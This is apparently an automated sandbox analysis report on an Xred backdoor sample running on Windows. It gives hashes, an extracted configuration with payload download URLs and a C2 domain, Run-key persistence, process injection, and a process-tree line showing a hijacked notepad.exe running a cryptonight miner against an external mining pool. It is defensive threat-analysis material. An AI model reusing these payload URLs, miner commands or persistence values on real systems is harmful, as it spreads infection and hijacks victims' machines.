xred | 9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66

Analysis

max time kernel
141s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2024 01:41

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General

Target

9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
Size

1.6MB
MD5

12c15622b2ea89ac2d013e40f3c840c6
SHA1

cec0c45eab3f56c9d428599c65b1b3b91e1a8c09
SHA256

9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66
SHA512

e494348a209a2a18baeab35d1a219651d4088cccad0f27bb04a484f8363bf2fb6f0db493859984b7d3095b0a0a1a06337bfb38fcec1213f8afee548d662b881c
SSDEEP

24576:gnsJ39LyjbJkQFMhmC+6GD9mp2gARDzWUHcW5BKDoEnAuB3VcXsQiWfw:gnsHyjtk2MYC5GDzgAxz3HcWv2BmBw

Score

10^/10

xred backdoor discovery persistence

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
[email protected]
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Signatures

Xred
Xred is backdoor written in Delphi.
backdoor xred
Xred family
xred

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe

Executes dropped EXE 5 IoCs

pid	Process
1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
376	Synaptics.exe
3580	._cache_Synaptics.exe
3992	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
2884	._cache_Synaptics.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cCSZUelxYK = "\"C:\\Users\\Admin\\AppData\\Local\\PHYNUZ~1\\CPUCHE~1.EXE\""	._cache_Synaptics.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1476 set thread context of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 3580 set thread context of 2884	3580	._cache_Synaptics.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3672	3992	WerFault.exe	95

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1080	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2884	._cache_Synaptics.exe
2884	._cache_Synaptics.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
Token: SeDebugPrivilege	3580	._cache_Synaptics.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1080	EXCEL.EXE
1080	EXCEL.EXE
1080	EXCEL.EXE
1080	EXCEL.EXE
1080	EXCEL.EXE
1080	EXCEL.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 1476	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	83
PID 1336 wrote to memory of 1476	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	83
PID 1336 wrote to memory of 1476	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	83
PID 1336 wrote to memory of 376	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	84
PID 1336 wrote to memory of 376	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	84
PID 1336 wrote to memory of 376	1336	9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	84
PID 376 wrote to memory of 3580	376	Synaptics.exe	85
PID 376 wrote to memory of 3580	376	Synaptics.exe	85
PID 376 wrote to memory of 3580	376	Synaptics.exe	85
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 1476 wrote to memory of 3992	1476	._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe	95
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 3580 wrote to memory of 2884	3580	._cache_Synaptics.exe	100
PID 2884 wrote to memory of 4780	2884	._cache_Synaptics.exe	101
PID 2884 wrote to memory of 4780	2884	._cache_Synaptics.exe	101

C:\Users\Admin\AppData\Local\Temp\9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
"C:\Users\Admin\AppData\Local\Temp\9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Users\Admin\AppData\Local\Temp\._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Users\Admin\AppData\Local\Temp\._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe"
    3⤵
    - Executes dropped EXE
    PID:3992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 376
      4⤵
      Program crash
      PID:3672
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:376
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\notepad.exe
        
        "C:\Windows\notepad.exe" -a cryptonight -o stratum+tcp://pool.minexmr.com:4444 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQpR48NWyTtgLF8daDK.newminer -p x -t 8
        5⤵
        
        PID:4780

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3992 -ip 3992
1⤵
PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Synaptics\Synaptics.exe

Filesize
1.6MB

MD5
12c15622b2ea89ac2d013e40f3c840c6

SHA1
cec0c45eab3f56c9d428599c65b1b3b91e1a8c09

SHA256
9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66

SHA512
e494348a209a2a18baeab35d1a219651d4088cccad0f27bb04a484f8363bf2fb6f0db493859984b7d3095b0a0a1a06337bfb38fcec1213f8afee548d662b881c

Download Submit
C:\Users\Admin\AppData\Local\Temp\._cache_9da075ecd10a7fbc4c0686ea7e083f6261438947ce7a94c1f83683cdc0c09d66.exe

Filesize
924KB

MD5
e636189bce45b8bde5a59464b108cca4

SHA1
828201fd6561fd992d80d40fd7c1432552f32211

SHA256
86170ddd6b618ee94b8049da9486adff45f98979d62be8b4fd99f6fc6f0994f2

SHA512
96887f07d155616d0905cca11d900e1020a8b28e79e6ddf665223c2a91d6ae774d6343d62836e6ad532911baf4abee93b58cafb452d360a63b4304bc9d469720

Download Submit
C:\Users\Admin\AppData\Local\Temp\6FA75E00

Filesize
26KB

MD5
45585ed7d31ba1434ce391e139c43f05

SHA1
cd54312f47136a832302b081cf76768d69e36d74

SHA256
a279a95965c5d70546f917145b3019afd3b474004fda976368e07df3d0e5ea0c

SHA512
61b211f01f1ed09c57341dd466435a97c5037aeafe4a9e1c30241f20e69c45abfd902f1225e38c11599e0023378f4bbd00e5b5ce26b5b4981fe1813f66f440f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Y1lQMW8P.xlsm

Filesize
17KB

MD5
e566fc53051035e1e6fd0ed1823de0f9

SHA1
00bc96c48b98676ecd67e81a6f1d7754e4156044

SHA256
8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15

SHA512
a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

Download Submit
memory/376-249-0x0000000000760000-0x0000000000761000-memory.dmp

Filesize
4KB

Download
memory/376-301-0x0000000000400000-0x00000000005A9000-memory.dmp

Filesize
1.7MB

Download
memory/376-276-0x0000000000400000-0x00000000005A9000-memory.dmp

Filesize
1.7MB

Download
memory/376-132-0x0000000000760000-0x0000000000761000-memory.dmp

Filesize
4KB

Download
memory/376-248-0x0000000000400000-0x00000000005A9000-memory.dmp

Filesize
1.7MB

Download
memory/1080-197-0x00007FF8869D0000-0x00007FF8869E0000-memory.dmp

Filesize
64KB

Download
memory/1080-195-0x00007FF8869D0000-0x00007FF8869E0000-memory.dmp

Filesize
64KB

Download
memory/1080-196-0x00007FF8869D0000-0x00007FF8869E0000-memory.dmp

Filesize
64KB

Download
memory/1080-194-0x00007FF8869D0000-0x00007FF8869E0000-memory.dmp

Filesize
64KB

Download
memory/1080-198-0x00007FF8848D0000-0x00007FF8848E0000-memory.dmp

Filesize
64KB

Download
memory/1080-199-0x00007FF8848D0000-0x00007FF8848E0000-memory.dmp

Filesize
64KB

Download
memory/1080-193-0x00007FF8869D0000-0x00007FF8869E0000-memory.dmp

Filesize
64KB

Download
memory/1336-0-0x00000000007A0000-0x00000000007A1000-memory.dmp

Filesize
4KB

Download
memory/1336-128-0x0000000000400000-0x00000000005A9000-memory.dmp

Filesize
1.7MB

Download
memory/1476-203-0x0000000072CE2000-0x0000000072CE3000-memory.dmp

Filesize
4KB

Download
memory/1476-261-0x0000000072CE0000-0x0000000073291000-memory.dmp

Filesize
5.7MB

Download
memory/1476-131-0x0000000072CE0000-0x0000000073291000-memory.dmp

Filesize
5.7MB

Download
memory/1476-70-0x0000000072CE2000-0x0000000072CE3000-memory.dmp

Filesize
4KB

Download
memory/1476-247-0x0000000072CE0000-0x0000000073291000-memory.dmp

Filesize
5.7MB

Download
memory/1476-130-0x0000000072CE0000-0x0000000073291000-memory.dmp

Filesize
5.7MB

Download
memory/2884-271-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/2884-270-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/2884-268-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/3992-259-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download
memory/3992-252-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download
memory/3992-251-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download
memory/3992-253-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download
memory/3992-256-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download
memory/3992-250-0x0000000000700000-0x00000000007A8000-memory.dmp

Filesize
672KB

Download